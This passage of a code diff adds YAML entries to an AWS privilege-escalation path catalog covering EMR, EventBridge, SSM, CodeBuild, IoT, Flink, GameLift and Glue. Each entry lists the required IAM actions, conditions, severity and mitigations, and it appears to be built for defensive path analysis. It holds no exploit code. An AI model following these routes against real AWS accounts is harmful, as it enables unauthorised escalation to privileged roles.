https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/iam-execution-role.html + notes: The evaluator joins StartJobRun on the exact RUNNING virtual cluster to a fresh reviewed job run, a controlled readable artifact, applied execution role, code execution and a useful role action unavailable to the caller. PassRole uses the recorded service and associated-resource context; absent execution evidence remains unresolved. + +- id: aws-emr-containers-passrole-startjobrun-pod-identity + provider: aws + service: emr-containers + source_kind: [aws_user, aws_role] + title: Start an EMR on EKS job through EKS Pod Identity + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can submit a job with a passable execution role when its EKS Pod Identity trust and all three EMR service-account associations are in place. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: pods.eks.amazonaws.com + scope: same_account + aggregate_as: "EMR on EKS Pod Identity execution roles passable in {account}" + outcome: workload_execution + conditions: + - id: job_code_readable + description: The execution role must be able to read code that the source controls, and the job must run with an EMR release supporting EKS Pod Identity. + - id: pod_identity_agent_ready + description: The EKS Pod Identity agent must be able to provide credentials to the job pods. + preconditions: + - emr_containers_pod_identity_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to approved Pod Identity roles, scope StartJobRun to authorized virtual clusters, and avoid associating high-privilege roles with tenant-controlled job namespaces. + references: + - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/setting-up-enable-IAM.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + notes: The evaluator binds one RUNNING virtual cluster, an ACTIVE EKS cluster, all three recorded service-account associations, exact PassRole context for pods.eks.amazonaws.com and its EKS cluster ARN, and a fresh reviewed job run that executed controlled code with the target role and performed a useful action. + +- id: aws-emr-containers-getmanagedendpointsessioncredentials + provider: aws + service: emr-containers + source_kind: [aws_user, aws_role] + title: Open an interactive EMR on EKS session as a managed endpoint's execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-containersgetmanagedendpointsessioncredentials--iampassrole--interactive-spark-session-as-the-execution-role + source_revision: 171e422299 + summary: The source can run interactive Spark code as an EMR on EKS execution role by retrieving managed-endpoint session credentials for that role. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_emr_containers_oidc: true + scope: same_account + aggregate_as: "EMR on EKS execution roles of managed endpoints in {account}" + outcome: workload_execution + conditions: + - id: managed_endpoint_exists + description: A managed (interactive) endpoint must exist on a virtual cluster and accept the execution role. + - id: endpoint_credentials + description: The credentials are a session token for the endpoint, not STS keys; the role is used through the Spark code the source runs. + preconditions: + - emr_containers_endpoint_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict emr-containers:GetManagedEndpointSessionCredentials and iam:PassRole on execution roles to notebook owners. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/connect-emr-studio.html + notes: The evaluator checks the credentials action on an inventoried ACTIVE endpoint of a RUNNING virtual cluster. A role edge needs fresh reviewed evidence that the endpoint token connected, controlled code ran with the exact execution role and a useful action succeeded. Without that runtime evidence the route remains unresolved. diff --git a/src/privilege-escalation-paths-research/aws/events.yaml b/src/privilege-escalation-paths-research/aws/events.yaml new file mode 100644 index 0000000000..a545b2fdc3 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/events.yaml @@ -0,0 +1,43 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge privilege escalation techniques. +# Source: hacktricks-cloud aws-eventbridge-privesc/README.md (rev 171e422299). + +- id: aws-events-passrole-createsubscriber-universal-target + provider: aws + service: events + title: Create an enhanced-bus subscriber with a universal target and a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventscreatesubscriber--iampassrole--execute-supported-aws-apis-through-an-enhanced-bus-universal-target + source_revision: 6fb9ac51fd + summary: A subscriber may invoke a supported write action through a passed EventBridge role. This does not give the source the role's identity or all its permissions. + source_kind: [aws_user, aws_role] + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: events.amazonaws.com + scope: same_account + aggregate_as: Roles trusting events.amazonaws.com passable in {account} + outcome: impersonation + preconditions: + - eventbridge_subscriber_has_active_bus_and_bound_permissions + conditions: + - id: enhanced_bus_and_event + description: An operational custom event bus must exist in the source's account, and the source must be able to publish a matching event to it. + - id: supported_target_action + description: EventBridge validates the universal-target action at creation and blocks some services and actions; reach is the role's permissions on supported actions only, and results are not returned. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict events:CreateSubscriber to bus owners, scope iam:PassRole on EventBridge roles with iam:PassedToService=events.amazonaws.com, and keep delivery roles least-privileged. + references: + - https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-use-identity-based.html + notes: CreateSubscriber needs permission on the operational custom bus and on the new subscriber name/* ARN used for creation, plus PassRole to events.amazonaws.com. The evaluator binds one accepted universal target and matched event to a successful target delivery under the exact role, including the target action and resource, and excludes actions already available to the caller. A customer KMS key remains unresolved without verified key access. This is delegated execution of one write action, not general access to the role. diff --git a/src/privilege-escalation-paths-research/aws/exact-principal-v5.yaml b/src/privilege-escalation-paths-research/aws/exact-principal-v5.yaml new file mode 100644 index 0000000000..563629e546 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/exact-principal-v5.yaml @@ -0,0 +1,212 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +- id: aws-audit-use-existing-parameterized-automation-runbook-with-runtime-passrole + provider: aws + service: ssm + title: Use existing parameterized Automation runbook with runtime PassRole + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + source_revision: 57bd5c07df + summary: The source can run an existing Automation document with a passable role + supplied through its assumeRole parameter when an observed step performs an action + that the source cannot perform directly. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: ssm.amazonaws.com + preconditions: + - ssm_existing_automation_runtime_role_effect_reviewed + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + scope: same_account + outcome: workload_execution + conditions: + - id: exact_verified_prerequisites + description: 'A reviewed execution must bind the exact immutable Automation + document version, an assumeRole parameter supplied with the passed role, + StartAutomationExecution authorization for that document, and a successful + useful step performed under that role.' + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the listed actions to approved operators and review the exact + target configuration. + notes: A fixed-role runbook does not allow a caller to select this role. IAM grants + on unrelated Automation documents or a passable role alone do not establish an + execution path. The document version, passed role, actual execution and useful + role action must be joined; missing facts stay UNKNOWN. + references: + - https://cloud.hacktricks.wiki/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/ +- id: aws-codebuild-ssm-debug-session-role + provider: aws + service: codebuild + title: Connect to a paused CodeBuild build through Session Manager + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#ssm + source_revision: 57bd5c07df + summary: A live paused CodeBuild debug session may give shell access under the + role used by that exact build when Session Manager access and an actual role + action are observed. + source_kind: [aws_user, aws_role] + requires: + all_of: [] + preconditions: + - codebuild_ssm_debug_session_role_effect_reviewed + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + outcome: workload_execution + conditions: + - id: live_breakpoint + description: The exact running build must have session connections enabled and be paused at codebuild-breakpoint. + - id: verified_collector_fact + description: A fresh reviewed session must bind the build's sessionTarget, its actual service role, StartSession authorization and a useful action performed with that role. + confidence: conditional + severity: high + mitigation: Restrict the named operation to trusted administrators and review downstream + grants. + references: + - https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_DebugSession.html + notes: A CodeBuild Sandbox or an unpaused build does not establish this path. IAM + permission on another Session Manager target and the project's configured role + do not prove access to this build, which may use a role override. Missing runtime + joins or shell effects remain UNKNOWN. +- id: aws-devicefarm-schedulerun-existing-test-spec-passrole + provider: aws + service: devicefarm + title: Schedule an existing malicious Device Farm test spec with a passed role + summary: Attacker commands execute inside the Device Farm test runtime with the + passed execution role. Conditional principal access requires the exact inventoried + identity, usable authority equivalent to its observed full IAM rights, fresh evidence + and matching authorization fingerprint. A scoped token/session is insufficient. + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole + source_revision: 57bd5c07df + requires: + all_of: [] + source_kind: [aws_user, aws_role] + preconditions: + - devicefarm_existing_test_spec_role_effect_reviewed + target: + kind: aws_role + selector: + aws_challenge_fact: aws-devicefarm-schedulerun-existing-test-spec-passrole + scope: same_account + outcome: workload_execution + conditions: + - id: condition_1 + description: An existing project, compatible app/test package, device pool and + attacker-controlled custom test-spec upload already exist. + - id: condition_2 + description: configuration.executionRoleArn in ScheduleRun overrides the project + role; a new CreateUpload or CreateProject/UpdateProject is unnecessary in this + case. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the required actions to reviewed resources and principals. + references: + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_ScheduleRun.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_devicefarm.html + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_Upload.html + notes: The evaluator joins an existing project, compatible pool, successful Appium + Web Node test spec and package uploads, exact scoped ScheduleRun grants and PassRole + to devicefarm.amazonaws.com. Fresh reviewed evidence must show the controlled spec + ran under the role and performed a useful action unavailable to the caller. Missing + or mismatched resources, restricted sessions and stale evidence stay unresolved. +- id: aws-iot-byo-certificate-existing-rolealias + provider: aws + service: iot + title: Use a BYO certificate with an existing privileged role alias + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotregistercertificatewithoutca--register-an-attacker-generated-byo-certificate-as-a-device-identity + source_revision: 57bd5c07df + summary: The source can register an attacker-held certificate and attach a policy + that permits credential exchange through an existing role alias. Conditional principal + access requires the exact inventoried identity, usable authority equivalent to + its observed full IAM rights, fresh evidence and matching authorization fingerprint. + A scoped token/session is insufficient. + requires: + all_of: + - action: iot:RegisterCertificateWithoutCA + resource: '*' + - action: iot:AttachPolicy + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-iot-byo-certificate-existing-rolealias + scope: same_account + outcome: credentials + severity: high + mitigation: Restrict certificate registration and policy attachment, and scope role-alias + policies tightly. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_RegisterCertificateWithoutCA.html + confidence: conditional + conditions: + - id: active_certificate_existing_alias + description: Certificate is registered ACTIVE; an attachable policy allows AssumeRoleWithCertificate + on an existing alias pointing to the target role; if policy must be created, + iot:CreatePolicy is additionally required. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + notes: The existing role alias must be inventoried with RoleArn equal to the exact target role. Fresh reviewed evidence binds an attacker-held ACTIVE certificate, registration without a CA, AttachPolicy on that certificate, an attached IoT policy allowing AssumeRoleWithCertificate on that alias, and successful credential-provider authentication. The full-principal attestation also needs the target's current authorization fingerprint and a usable unrestricted role session. Missing alias detail, mismatched role or certificate, or incomplete credential evidence remains UNKNOWN. +- id: aws-iot-provisioning-claim-existing-rolealias + provider: aws + service: iot + title: Mint a provisioning certificate for an existing privileged role alias + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreateprovisioningtemplate--iampassrole--iotcreateprovisioningclaim--self-replenishing-fleet-of-attacker-certificates + source_revision: 57bd5c07df + summary: A claim-derived device certificate can use an IoT policy permitting credential + exchange through an existing role alias. Conditional principal access requires + the exact inventoried identity, usable authority equivalent to its observed full + IAM rights, fresh evidence and matching authorization fingerprint. A scoped token/session + is insufficient. + requires: + all_of: + - action: iot:CreateProvisioningTemplate + resource: '*' + - action: iot:CreateProvisioningClaim + resource: '*' + - action: iam:PassRole + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-iot-provisioning-claim-existing-rolealias + scope: same_account + outcome: credentials + severity: high + mitigation: Restrict provisioning-template creation, claim minting, passable registration + roles, and role-alias policies. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/provisioning-templates.html + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + confidence: conditional + conditions: + - id: existing_alias_chain + description: Template binds an active certificate to an IoT policy allowing AssumeRoleWithCertificate + on an existing role alias that points to the target role; claim must be used + over MQTT. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + notes: The existing role alias must be inventoried with RoleArn equal to the exact target role. Fresh reviewed evidence binds CreateProvisioningTemplate and CreateProvisioningClaim to the same exact template, PassRole to a distinct provisioning role for iot.amazonaws.com, a claim used over MQTT, an ACTIVE permanent certificate with an attached policy allowing AssumeRoleWithCertificate on that alias, and successful credential-provider authentication. The full-principal attestation needs the target's current authorization fingerprint and a usable unrestricted role session. Missing alias detail, mismatched template or role, or incomplete credential evidence remains UNKNOWN. diff --git a/src/privilege-escalation-paths-research/aws/fis.yaml b/src/privilege-escalation-paths-research/aws/fis.yaml new file mode 100644 index 0000000000..09c1909ce4 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/fis.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Fault Injection Service privilege escalation techniques. +# Source: hacktricks-cloud aws-fis-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-research/aws/flink.yaml b/src/privilege-escalation-paths-research/aws/flink.yaml new file mode 100644 index 0000000000..ef788f61d5 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/flink.yaml @@ -0,0 +1,80 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Managed Service for Apache Flink privilege escalation techniques. +# Source: hacktricks-cloud aws-managed-flink-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Applications carry a service execution role +# trusting kinesisanalytics.amazonaws.com; IAM actions use the kinesisanalytics prefix. + +- id: aws-flink-studio-presigned-url + provider: aws + service: kinesisanalytics + title: Open an existing Studio notebook with its execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution + source_revision: 171e422299 + summary: A principal allowed to open a running Studio notebook may run work through its recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of running Studio notebooks in {account} + outcome: workload_execution + preconditions: + - flink_existing_studio_role_session + conditions: + - id: notebook_execution + description: The presigned URL must be used while valid and the notebook must permit code or query execution. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict CreateApplicationPresignedUrl to approved Studio notebooks and keep notebook execution roles least privileged. + references: + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CreateApplicationPresignedUrl.html + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_DescribeApplication.html + - https://docs.aws.amazon.com/managed-flink/latest/java/how-notebook.html + notes: The evaluator joins a RUNNING INTERACTIVE application to its recorded ServiceExecutionRole and requires CreateApplicationPresignedUrl on the same application ARN. No PassRole or application mutation is needed. + +- id: aws-flink-passrole-createapplication + provider: aws + service: kinesisanalytics + title: Create and start a Managed Flink application with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#createapplication--iampassrole--malicious-code + source_revision: 171e422299 + summary: The source can start Flink application code it controls using a passable service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: kinesisanalytics.amazonaws.com + - action: kinesisanalytics:CreateApplication + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: kinesisanalytics.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting kinesisanalytics.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - flink_new_application_startable + conditions: + - id: controlled_code + description: The source can provide application ZIP content in CreateApplication; code supplied from S3 instead needs the execution role to read that object. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on Flink roles with iam:PassedToService=kinesisanalytics.amazonaws.com and restrict CreateApplication to the deployment pipeline. + references: + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CreateApplication.html + notes: The service does not expose role credentials directly; the code acts with the role's permissions. CreateApplication is authorized on * and StartApplication on the new application's ARN. diff --git a/src/privilege-escalation-paths-research/aws/gamelift.yaml b/src/privilege-escalation-paths-research/aws/gamelift.yaml new file mode 100644 index 0000000000..82f278a038 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/gamelift.yaml @@ -0,0 +1,75 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon GameLift Servers privilege escalation techniques. +# Source: hacktricks-cloud aws-gamelift/README.md (rev 171e422299). + +- id: aws-gamelift-getcomputeaccess-shared-fleet-role + provider: aws + service: gamelift + title: Open an EC2 fleet host with a shared instance role credentials file + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#managed-compute-shell-with-gameliftgetcomputeaccess + source_revision: 88f850c6d4 + summary: The source can open a shell on an active managed EC2 fleet compute where the exact instance role is exposed through a shared credentials file. + source_kind: [aws_user, aws_role] + requires: + all_of: [] + target: + kind: aws_role + scope: same_account + aggregate_as: "Instance roles on active GameLift EC2 fleets reachable through a shared credentials file in {account}" + outcome: impersonation + preconditions: + - gamelift_existing_shared_fleet_role_shell + conditions: + - id: readable_shared_credentials + description: The Session Manager shell must be able to read the fleet's shared role credentials file while the compute remains active. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit GetComputeAccess on fleets with shared instance role credentials to operators who need host access, and keep the fleet role narrowly scoped. + references: + - https://docs.aws.amazon.com/gameliftservers/latest/apireference/API_GetComputeAccess.html + - https://docs.aws.amazon.com/gameliftservers/latest/developerguide/gamelift-sdk-server-resources.html + notes: The evaluator joins the exact fleet InstanceRoleArn and SHARED_CREDENTIAL_FILE setting to an active listed compute and checks GetComputeAccess on the accountful fleet IAM resource ARN. It never requests the shell token or reads the role credentials. Default SDK credential flow and container fleets are outside this entry. + +- id: aws-gamelift-passrole-createfleet + provider: aws + service: gamelift + title: Create a GameLift EC2 fleet with a controlled build and passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 3b6983e5a8 + summary: The source can create and upload a game build, run it on a new EC2 fleet, and use the exact passable fleet instance role. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: gamelift.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: gamelift.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting gamelift.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - gamelift_new_controlled_build_fleet_role + conditions: + - id: controlled_build + description: The source must upload a runnable server build using the credentials returned by CreateBuild and the new EC2 fleet must run that build. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on GameLift instance roles and CreateBuild/CreateFleet to approved build pipelines. + references: + - https://docs.aws.amazon.com/gamelift/latest/developerguide/setting-up-role.html + - https://docs.aws.amazon.com/gamelift/latest/apireference/API_CreateFleet.html + - https://docs.aws.amazon.com/gameliftservers/latest/apireference/API_CreateBuild.html + notes: CreateBuild without StorageLocation returns initial upload credentials, so RequestUploadCredentials is needed only to refresh them. The evaluator joins CreateBuild and CreateFleet grants in one Region. Existing builds, scripts and container fleets need a separate controlled-artifact proof and remain unresolved. CreateGameServerGroup is excluded separately because its role manages FleetIQ rather than instance code. diff --git a/src/privilege-escalation-paths-research/aws/gameliftstreams.yaml b/src/privilege-escalation-paths-research/aws/gameliftstreams.yaml new file mode 100644 index 0000000000..bcb0a98fec --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/gameliftstreams.yaml @@ -0,0 +1,77 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon GameLift Streams privilege escalation techniques. +# Source: hacktricks-cloud aws-gamelift-streams-privesc/README.md (rev 171e422299). +# Session roles must trust gameliftstreams.amazonaws.com and be named GameLiftStreams-* (StartStreamSession API reference). + +- id: aws-gameliftstreams-createstreamsessionadminshell + provider: aws + service: gameliftstreams + title: Open a role-bearing live stream session through its admin shell + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamscreatestreamsessionadminshell-on-a-session-with-a-role + source_revision: bbe766aa6f + summary: The source can enter a live stream session that already holds a different IAM role when CreateStreamSessionAdminShell covers that session's parent stream group. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: gameliftstreams:CreateStreamSessionAdminShell + resource: "*" + target: + kind: aws_role + selector: + name_prefix: GameLiftStreams- + scope: same_account + outcome: impersonation + aggregate_as: "Roles in live GameLift Streams sessions reachable by admin shell in {account}" + preconditions: + - gameliftstreams_live_role_session_admin_shell + conditions: + - id: live_session + description: The parent stream group must be ACTIVE and the role-bearing session must still be live when the shell is opened. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict CreateStreamSessionAdminShell to trusted operators on exact stream groups and limit session-role permissions. + references: + - https://docs.aws.amazon.com/gameliftstreams/latest/developerguide/troubleshoot-admin-shell-guide.html + - https://docs.aws.amazon.com/gameliftstreams/latest/apireference/API_ListStreamSessions.html + notes: The parent stream group and RoleArn come from the same listed live session. This route does not need PassRole because the role was attached before the shell was opened. + +- id: aws-gameliftstreams-passrole-startstreamsession + provider: aws + service: gameliftstreams + title: Start a stream session of a controlled application with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamsstartstreamsession--iampassrole-with-attacker-controlled-application-code + source_revision: 171e422299 + summary: The source may perform a useful action under a passable GameLiftStreams-* session role when controlled application code executes in a compatible stream group. + source_kind: [aws_user, aws_role] + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: gameliftstreams.amazonaws.com + name_prefix: GameLiftStreams- + scope: same_account + aggregate_as: "GameLiftStreams-* roles passable in {account}" + outcome: workload_execution + preconditions: + - gameliftstreams_controlled_application_role_session + conditions: + - id: controlled_application + description: An application whose content the source controls must be associated with an active stream group with capacity (creating or associating one needs further GameLift Streams and S3 permissions). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on GameLiftStreams-* roles to the session backend and restrict who can create or update applications. + references: + - https://docs.aws.amazon.com/gameliftstreams/latest/apireference/API_StartStreamSession.html + notes: StartStreamSession is authorized on the exact stream group with gameliftstreams:RoleArn in request context. CreateStreamUrl additionally needs permission on both the stream group and application and depends on StartStreamSession. PassRole must allow gameliftstreams.amazonaws.com for the exact target role. A concrete route requires fresh reviewed evidence that an ACTIVE group supports session credentials, has capacity, contains a READY application controlled by the source, and that an accepted session ran the code and performed a useful role action unavailable directly to the caller. Groups created before session-credential support stay unresolved. CreateStreamUrl is a supported IAM action in the current AWS Service Authorization Reference. diff --git a/src/privilege-escalation-paths-research/aws/glue.yaml b/src/privilege-escalation-paths-research/aws/glue.yaml new file mode 100644 index 0000000000..a49306d266 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/glue.yaml @@ -0,0 +1,300 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Glue privilege escalation techniques. +# Source: hacktricks-cloud aws-glue-privesc/README.md (rev a53b46392c; re-pointed to rev 171e422299). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-glue-passrole-createdevendpoint + provider: aws + service: glue + title: Create a Glue development endpoint with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-a-legacy-development-endpoint-with-a-privileged-role + source_revision: 171e422299 + summary: The source can create a public Glue development endpoint with an SSH key it controls, read its address and use a passable execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - glue_new_public_dev_endpoint_role + conditions: + - id: dev_endpoint_availability + description: A complete Glue endpoint read must show that the chosen Region and account still support the legacy endpoint API, and a new endpoint name is available. + - id: public_ssh_path + description: The source can create a non-VPC endpoint with its SSH public key, and GetDevEndpoint on the new endpoint or GetDevEndpoints on the account lets it read the public address after provisioning. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService=glue.amazonaws.com and deny glue:CreateDevEndpoint. + references: + - https://docs.aws.amazon.com/glue/latest/dg/development.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_GetDevEndpoints.html + notes: The evaluator checks CreateDevEndpoint on *, one unused endpoint name, a matching endpoint read permission and exact iam:PassRole. It excludes recorded disabled or unsupported Region/account states; provisioning, quotas and SSH connectivity remain conditional. + +- id: aws-glue-updatedevendpoint + provider: aws + service: glue + title: Add an SSH key to an existing Glue development endpoint + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#replace-the-ssh-key-on-a-legacy-development-endpoint + source_revision: 171e422299 + summary: The source may use the role of an existing Glue development endpoint after adding an SSH key it controls. + requires: + all_of: + - action: glue:UpdateDevEndpoint + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: glue_dev_endpoint + scope: same_account + aggregate_as: "Execution roles of accessible Glue development endpoints in {account}" + outcome: workload_execution + preconditions: + - glue_existing_dev_endpoint_ssh_access + conditions: + - id: ssh_reachability + description: The recorded public address may still be blocked by network controls outside the IAM policy model. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict glue:UpdateDevEndpoint to endpoint administrators and keep development endpoint roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_UpdateDevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_DevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/dg/glue-specifying-resource-arns.html + notes: The endpoint must be READY, have a public address and a free managed SSH-key slot. Private endpoints and legacy single-key configurations need separate reachability or key-change evidence. + +- id: aws-glue-startjobrun-override-script + provider: aws + service: glue + title: Run an existing Glue job overriding its script or dependency arguments + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the execution role of existing Glue jobs it can start directly or through a trigger it creates with overriding arguments. + requires: + any_of: + - - action: glue:StartJobRun + resource: "{target.resource_arn}" + - - action: glue:CreateTrigger + resource: "arn:{source.partition}:glue:*:{target.account}:trigger/*" + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: Execution roles of Glue jobs startable in {account} + outcome: workload_execution + preconditions: + - glue_job_override_arguments_available + conditions: + - id: job_role_reads_attacker_object + description: The job role must be able to read an S3 location whose content the source controls (its own public/cross-account bucket or a writable bucket the role can read). + - id: runtime_packaging + description: Dependency override format depends on job type/runtime. + - id: trigger_fires + description: The CreateTrigger variant needs a scheduled or conditional trigger created as started, or glue:StartTrigger for an on-demand trigger; trigger actions carry the overriding job arguments. + blockers: + - glue_nonoverridable_arguments + - 